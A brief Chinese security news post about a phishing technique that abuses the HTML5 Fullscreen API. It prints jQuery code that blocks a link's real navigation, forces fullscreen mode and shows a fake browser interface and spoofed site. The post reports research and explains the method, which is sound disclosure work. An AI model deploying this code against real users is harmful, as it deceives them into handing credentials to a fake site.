HTML5里面新增了一个JavaScript API——Fullscreen,可以让 HTML 元素可以实现全屏显示。很多站点上已经使用了该API,比如youku、tudou、YouTube、Facebook等

但是带来便捷的同时,也带来了更多的安全风险,日前,老外研究发现利用该API可以成功进行钓鱼攻击。

攻击原理:
建立用户信任的网站链接:

访问<a href="https://www.www.freebuf.com.com">freebuf.com</a>关注黑客与极客

用户鼠标悬停在该url时,状态栏将会显示https://www.freebuf.com,然而,当用户点击链接的时候,调用event.preventDefault()方法来阻止点击到实际链接的页面,相反,会触发全屏模式,并将仿造的页面插入到当前页面。

$('html').on('click keypress', 'a', function(event) {

  // Prevent navigation to legit link
  event.preventDefault();
  event.stopPropagation();

  // Trigger fullscreen
  if (elementPrototype.requestFullscreen) {
    document.documentElement.requestFullscreen();
  } else if (elementPrototype.webkitRequestFullScreen) {
    document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
  } else if (elementPrototype.mozRequestFullScreen) {
    document.documentElement.mozRequestFullScreen();
  } else {
    // fail silently
  }

  // Show fake OS and browser UI
  $('#menu, #browser').show();

  // Show fake target site
  $('#target-site').show();
});

preventDefault()方法解释:
防止链接打开 URL:

$("a").click(function(event){
  event.preventDefault();
});

定义和用法

preventDefault() 方法阻止元素发生默认的行为(例如,当点击提交按钮时阻止对表单的提交)。

老外建立了一个演示页面,有兴趣的可以查看一下钓鱼效果,阅读更多,演示程序源码下载地址

源链接

Hacking more

...